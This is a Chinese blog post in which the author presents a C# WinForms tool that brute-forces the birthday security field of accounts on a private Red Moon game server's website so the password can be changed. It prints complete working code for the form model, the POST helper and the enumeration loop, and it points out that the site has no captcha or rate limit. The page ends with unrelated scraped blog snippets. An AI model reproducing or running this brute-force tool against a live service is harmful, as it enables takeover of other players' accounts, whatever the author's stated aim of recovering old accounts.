美服红月我接触的第一款网游,生日爆破

  这款游戏我已经很久没有玩了,但看了看我11年写的代码,再看看美服红月的网站 ,卧槽! 竟然还改版了,编译了一下程序,发现这些功能都莫名其妙的不能用了,网站地址换了,提交数据的接口变了,所以又更新了一版。

随着技术的更新,这个小工具也要跟着技术的一起强行升级一下,从net 2.0 升到4.5 。虽然样子有点挫,也懒得改了,但是这个核心功能就是 通过账号密码 暴力找生日,因为这款游戏比较古老估计只有80后才会记得,现在国内只有变态私服,相比较这个米国私服已经运营了长达9年,无外挂、全活人、全手动、GM对中国人很暴力。

  改密码的方式,只有生日可以改,通过正确的用户名和密码和生日登录网站,才能改密码,虽然自己账号已经不记得了. 但是没关系,以前朋友给的号还都在。

原理很简单,就是枚举生日,提交请求到服务器,先看看表单和 请求地址和参数

表单有三个元素, 账号、密码、生日  ,用fiddler 查看

提交数据可以通过HttpWebRequest 和HttpWebResponse 来提交和接受返回信息,根据上面参数先来构造 提交数据的对象

    [JsonObject(Newtonsoft.Json.MemberSerialization.OptIn)]
    public class CrackBirthdayModel
    {
        [JsonProperty]
        public string account { get; set; }//账号
        [JsonProperty]
        public string password { get; set; }//密码
        [JsonProperty]
        public int month { get; set; }//月份
        [JsonProperty]
        public string day { get; set; }//日
        [JsonProperty]
        public int year { get; set; }//年
        [JsonProperty]
        public string submit {  get { return "Submit"; } }//提交方式
        [JsonIgnore]
        public DateTime CreckDate { get; set; }
    }

表单数据对象

然后我们在构造我们需要提交的请求,通过构造表单对象数据,然后传入HttpHelper. PostAsync<T>(string url, T data, string refe) ,就可以完成模拟请求,尝试一次生日,由于网站没有任何验证码和次数限制,所以我们就可以疯狂的提交尝试。

using Newtonsoft.Json;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading.Tasks;

namespace RedMoonBirthRecovery
{
    public class HttpHelper
    {

        /// <summary>
        /// post 提交非异步
        /// </summary>
        /// <param name="url">登录的url</param>
        /// <param name="data">登录url的参数.可用http工具获取. </param>
        /// <param name="refe">登录后的网站地址.</param>
        /// <returns></returns>
        public static string Post<T>(string url, T data, string refe)
        {
            string result = string.Empty;
            try
            {
                string postData = BuildRequestBody(data);
                CookieContainer cc = new CookieContainer();
                HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
                request.Method = "POST";
                request.ContentType = "application/x-www-form-urlencoded";
                request.CookieContainer = cc;
                request.ContentLength = postData.Length;
                request.Referer = refe;

                using (StreamWriter writer = new StreamWriter(request.GetRequestStream(), Encoding.Default))
                {
                    writer.Write(postData);
                    writer.Flush();
                }
                using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
                {
                    StreamReader reader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
                    result = reader.ReadToEnd();
                }

            }
            catch (Exception ex)
            {

                throw ex;
            }
            return result;
        }
        /// <summary>
        /// Post 提交数据
        /// </summary>
        /// <typeparam name="T">需要转换参数的类</typeparam>
        /// <param name="url">请求URL地址</param>
        /// <param name="data">要提交的数据</param>
        /// <param name="refe">Referer 前一个页面的地址</param>
        /// <returns></returns>
        public static Task<string> PostAsync<T>(string url, T data, string refe)
        {
            string result = string.Empty;
            return Task.Run<string>(() =>
            {
                try
                {
                    string postData = BuildRequestBody(data);
                    CookieContainer cc = new CookieContainer();
                    HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
                    request.Method = "POST";
                    request.ContentType = "application/x-www-form-urlencoded";
                    request.CookieContainer = cc;
                    request.ContentLength = postData.Length;
                    request.Referer = refe;

                    using (StreamWriter writer = new StreamWriter(request.GetRequestStream(), Encoding.Default))
                    {
                        writer.Write(postData);
                        writer.Flush();
                    }
                    using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
                    {
                        StreamReader reader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
                        result = reader.ReadToEnd();
                    }
                }
                catch (Exception ex)
                {

                    throw ex;
                }
                return result;
            });

        }
        /// <summary>
        /// 通过将传入的对象转换为request 提交的参数
        /// </summary>
        /// <typeparam name="T">对象类型</typeparam>
        /// <param name="t">传入的对象</param>
        /// <returns></returns>
        public static string BuildRequestBody<T>(T t)
        {
            string result = string.Empty;
            if (t != null)
            {
                string obj = JsonConvert.SerializeObject(t);
                Dictionary<string, string> dic = JsonConvert.DeserializeObject<Dictionary<string, string>>(obj);
                if (dic.Keys.Count > 0)
                {
                    foreach (var key in dic.Keys)
                    {
                        result += key + "=" + dic[key] + "&";
                    }
                    int lastAnd = result.LastIndexOf("&");
                    if (lastAnd > 0)
                    {
                        result = result.Substring(0, lastAnd);
                    }
                }
            }
            return result;

        }
    }
}

HttpHelper

表单很简单,样貌如下

由于是winform的程序,所以不得不扯到UI 异步刷新的问题, 11年写的那一版是多线程的,但莫名其妙就不能运行了,也是日了狗了,所以强行把以前的多线程改成了 async异步 方式,但是问题就来了,多线程 可以暂停 和恢复,但是异步只是异步,不能暂停。于是就有了这样的具体思路 :1、根据日期范围构造所有请求对象,2、强对象加入需要异步提交的队列中,3、提交时 记录提交的位置顺序来实现暂停和重置(也可以使用序列化的方式保存队列的对象)

    public class CrackTaskModel
    {
        /// <summary>
        /// 开始时间
        /// </summary>
        public DateTime beginDate { get; set; }
        /// <summary>
        /// 结束时间
        /// </summary>
        public DateTime endDate { get; set; }
        /// <summary>
        /// 所有要提交破解的生日
        /// </summary>
        public List<CrackBirthdayModel> creakRequests { get; set; }
        /// <summary>
        /// 执行的顺序
        /// </summary>
        public int currentIndex { get; set; }
        /// <summary>
        /// 标记当前是否继续运行
        /// </summary>
        public bool state { get; set; }
    }

数据提交队列

在UI上控制队列对象的state 标记来让循环中断实现暂停和继续

  public partial class BithRecovery : Form
    {
        public BithRecovery()
        {
            InitializeComponent();
        }
        /// <summary>
        /// 提交数据队列
        /// </summary>
        public CrackTaskModel crackTask = null;
        /// <summary>
        /// 开始按钮
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private async void btnPost_Click(object sender, EventArgs e)
        {
            DateTime start = DateTime.Parse("1900/01/01");
            DateTime end = DateTime.Parse("1900/01/01");
            bool isok = DateTime.TryParse(dtpBeginDay.Text, out start) && DateTime.TryParse(dtpEndDay.Text, out end);
            if (isok && end >= start)
            {
                this.btnPost.Enabled = false;
                //生成破解日期
                MakeBirth(dtpBeginDay.Text, dtpEndDay.Text);
                if (crackTask != null && crackTask.creakRequests.Count > 0)
                {
                    await CrackLoop();
                }
            }
            else
            {
                MessageBox.Show("截至日期需要大于起始日期");
            }
        }
        /// <summary>
        /// 暂停和恢复
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private async void btnStop_Click(object sender, EventArgs e)
        {
            if (btnStop.Text == "暂停")
            {
                stopCrack();
                btnStop.Text = "继续";
            }
            else if (btnStop.Text == "继续")
            {
                if (crackTask != null && crackTask.creakRequests.Count > 0)
                {
                    btnStop.Text = "暂停";
                    crackTask.state = false;
                    await CrackLoop();
                }
            }
            btnPost.Enabled = false;

        }
        /// <summary>
        /// 暂停队列
        /// </summary>
        public void stopCrack()
        {
            if (crackTask != null && crackTask.creakRequests.Count > 0)
            {
                //暂停提交
                crackTask.state = true;
            }
        }
        /// <summary>
        /// 重置队列
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void btnReset_Click(object sender, EventArgs e)
        {
            stopCrack();
            crackTask = null;
            btnStop.Text = "暂停";
            btnPost.Enabled = true;

        }

        /// <summary>
        /// 异步请求
        /// </summary>
        /// <returns></returns>
        public async Task CrackLoop()
        {
            if (crackTask != null)
            {
                for (; crackTask.currentIndex < crackTask.creakRequests.Count; crackTask.currentIndex++)
                {
                    ///如果状态变了,停止循环
                    if (crackTask.state)
                    {
                        break;
                    }
                    var task = crackTask.creakRequests[crackTask.currentIndex];
                    int shengyu = crackTask.creakRequests.Count - 1 - crackTask.currentIndex;
                    lblStatus.Text = "当前" + task.CreckDate.ToString("yyyy-MM-dd") + "\t 已经尝试了" + (crackTask.currentIndex) + "次/还剩" + shengyu;
                    bool isok = await CrackBirth(task);
                    if (isok)
                    {
                        lblStatus.Text = "正确生日是:" + task.CreckDate.ToString("yyyy-MM-dd");
                        break;
                    }
                    if (shengyu == 0)
                    {
                        lblStatus.Text = "很遗憾没有为你找到账号的生日";
                    }
                }
            }
        }

        /// <summary>
        /// 生成生日密码字典
        /// </summary>
        /// <param name="beginBirth">开始日期</param>
        /// <param name="endbirth">结束日期</param>
        /// <returns></returns>
        public void MakeBirth(string beginBirth, string endbirth)
        {
            DateTime bdate = new DateTime();
            DateTime edate = new DateTime();
            bool isConverted = DateTime.TryParse(beginBirth, out bdate) && DateTime.TryParse(endbirth, out edate);
            if (isConverted)
            {
                ///构造所有请求生日的数据
                crackTask = new CrackTaskModel { beginDate = bdate, endDate = edate, currentIndex = 0, state = false };
                crackTask.creakRequests = new List<CrackBirthdayModel>();
                TimeSpan minusdays = edate - bdate;
                for (int i = 0; i <= minusdays.Days; i++)
                {
                    var birth = bdate.AddDays(i);
                    crackTask.creakRequests.Add(new CrackBirthdayModel
                    {
                        account = txtaccount.Text,
                        password = txtPass.Text,
                        month = birth.Month,
                        day = birth.ToString("dd"),
                        year = birth.Year,
                        CreckDate = birth
                    });
                }
            }
        }

        /// <summary>
        /// 尝试猜解生日
        /// </summary>
        /// <param name="crackBirth">生日请求对象</param>
        /// <returns></returns>
        public async Task<bool> CrackBirth(CrackBirthdayModel crackBirth)
        {
            bool ResponseResult = false;
            return await Task.Run<bool>(async () =>
             {
                 ///等待提交返回结果
                 string result = await HttpHelper.PostAsync<CrackBirthdayModel>(RedmoonUri.crackBirthday, crackBirth, RedmoonUri.crackBirthday);
                 if (result.Contains("Login"))
                 {
                     ResponseResult = false;
                 }
                 else if (result.Contains("Welcome"))
                 {

                     ResponseResult = true;
                 }
                 result = string.Empty;
                 return ResponseResult;
             });
        }
}

程序UI代码

到此我们的破解之路看看效果吧

找到生日了就可以去改密码,咱也不用正在FV刷图 被基友踢下线,现在已经不玩这个游戏了,但是偶尔还是会想去怀念一下初中时代的那种感觉。

需要程序代码在github上下载: https://github.com/shan333chao/RedmoonClassicTool

晒一张游戏的图

时间: 2024-12-16 23:15:54

美服红月我接触的第一款网游,生日爆破的相关文章

在经历了6个月的学习后,我终于上架了自己的第一款APP---酷课堂iOS群问答精华整理(201807

酷课堂iOS交流群 我们是一个什么样的组织:酷课堂iOS交流群,聚集了一群热爱技术.有趣.有料,平均Q龄在10年以上的"老司机",他们遍布在全国/球各地,有知名企业iOS工程师.高校大学生.自由职业者--如果你也是这样的人,欢迎加入我们,一起畅聊iOS技术及周边. "很干""很佛系"每晚11点后熄灯(禁言),只聊技术,几乎不闲聊. IT从业者自学成功的不少,但从入门到放弃的人更多.一个人走的快,一群人走的远,希望你会是坚持到最后的那一波,希望我们

转游戏开发做的第一款手机网游的经历和体会

转游戏开发大半年以来,做过的游戏不多,刚开始就写单机版的游戏,不过也不多.后来就接触手机版网游,第一款游戏就是超级英雄,目前这款游戏还在升级维护当中,首次发布就是五月初,第一个月的收入就过千万.关于这款游戏直接看截图效果吧! 以上就是有关该款游戏的截图,有喜欢这款游戏可以下载试玩下,有想学的也可以下载看看交流下经验. 我以前是学C#,主要做桌面类型的软件会的语言也不多,也用过C++.在去年年底就接触到了cocos2d-x,了解到它是跨平台的然后就决心转手游开发了,初期阶段就看书,自己做些东西,也

【我的第一款App(“跑酷好基友” 英文名:BothLive) 登录App Store(一)】使用iOS7推出的Sprite Kit框架制作一款横版小游戏

从本篇文章开始,我将陆续用至少三篇文章介绍一下我个人的第一款上线App Store的游戏:“跑酷好基友”,英文名BothLive.从游戏制作.社交分享.App上传审核,以及版本更新迭代(如果有)几个方面来介绍.目前,这只是一个非常非常easy的超轻量级游戏. 说来也很有意思,本人一直从事iOS应用客户端的开发,对于iOS游戏制作从来也没花时间和心思.但是一个偶然的机会:2014年3月份公司派我去南京晓庄学院做一场开发讲座,讲座中需要向同学们演示一个小游戏的开发过程,于是我便利用iOS7推出的全新

cocos2d-x之道~制作第一款文字游戏(二)

在 cocos2d-x之道~制作第一款文字游戏(一)中,使用cocos2d-x把主界面显示出来,分别有每个级别提供的初始短语TileView,和目标短语TargetView.初步接触了cocos2d-x的基本概念和基础用法.这篇博客将会基本实现游戏的逻辑,完成游戏的主体部分.采用以下步骤: 使TileView可拖动 捕获TileView停止移动的事件 分析TileView是否放在正确的位置上 创建与原来Layer区分的层,放置按钮.菜单和分数等等. 添加计时和分数 现在开始,继续cocos2d-

我的第一款安卓自学作品---YY音乐诞生了

YY音乐---我前前后后断断续续花了3个月时间,边从0基础开始学Android 和Java,边开始做自己的Android第一款软件,之间看了许多教学视频,许多博客,才算Android入了一点点门道,终于 前几天 学校的程序综合设计课上 我把我这几个月的学习成果———YY音乐展示了出来.这个音乐播放器的名字是我随便起得 ,功能也不算完善,只能说是能够基本满足播放手机SD卡内mp3文件的功能,以及实现上/下曲播放,播放/暂停的功能.界面也是简单设计的,仅仅是做自己平时使用的,现在向各位博友分享出来.

【Cocos2d-X】独立开发并发布自己的第一款android手游——SpaceWar

大家好,我是BlueCoder,很久都没写博客了哈--没办法,决定考研的我,只能一心备研了.不过呢,作为喜欢游戏开发的我,一直觉得自己还有一件事应该在考研前完成--对,正如博文标题所示,我希望独立开发并发布属于自己的一款手游--SpaceWar. 关注过BlueCoder博文的朋友呢,可能应该知道我之前用MFC也写过一款名为空中大战(SpaceWar)的游戏(不过现在看来,这个游戏着实有点儿挫哈,毕竟这个只能算是一个游戏Demo哈,呵呵).那么现在这款即将发布的同名为SpaceWar的手游呢,是

一加将在欧洲推出第一款商用 5G 手机

远在太平洋中部的夏威夷群岛,高通举办了骁龙峰会. 峰会的惯例,各行业的合作伙伴都被邀请上台演讲.中国企业里,去年来的是小米雷军,而今年刚开场,一加手机 CEO 刘作虎就现身了. 与以往一样,张老板身着笔挺的灰色西服到场,脚上仍是那双标志性的白鞋.刘作虎上台便强调,从一加手机诞生开始,便坚持只做旗舰,并一直使用高通骁龙 800 系的处理器,对其进行针对性的优化,让性能得到最大程度的发挥. 一加"与龙共舞"已有五年,在此期间一加手机共推出 9 款旗舰机."只做旗舰"的策

全球第一款纯数据GPRS模块 有方M590 概述

更多精彩请到http://blog.tuzhuke.info/?cat=30 M590为全球第一款纯数据GPRS模块,专注数据收发功能,GPRS数据以及短信数据.没有电话语音功能,可以能够拨打或者接听电话,但是不提供语音接口.价格低廉性价比高已经在各种工业和民用领域得到了广泛的应用.我本人拿到的这个模块是在国家电网上弄下来的,成批的替换下来的,品相都非常好. 1 M590主要特性 M590采用的电源电压是3.3V-4.5V,而且在硬件设计电路里推荐使用3.9V,一般使用线性电源变换器例如SPX2

第一款泰泽(Tizen)智能手机在俄罗斯发布

0.  环境说明:Ubuntu 14.04, MongoDB2.6.1 1.导入MongoDB中public Key值到Ubuntu包系统中 2. 在Sources列表中创建MongoDB的文件 3. 重新加载本地的文件包库列表 4.  安装MongoDB数据库 5. 启动MongoDB 6. 启动MongoDB shell,shell提供了一个类似SQLConsole的方式,允许用户直接操控数据库. 7. 关闭MongoDB 总结: MongoDB是目前非常热门的文档数据库,天然支持分布式部署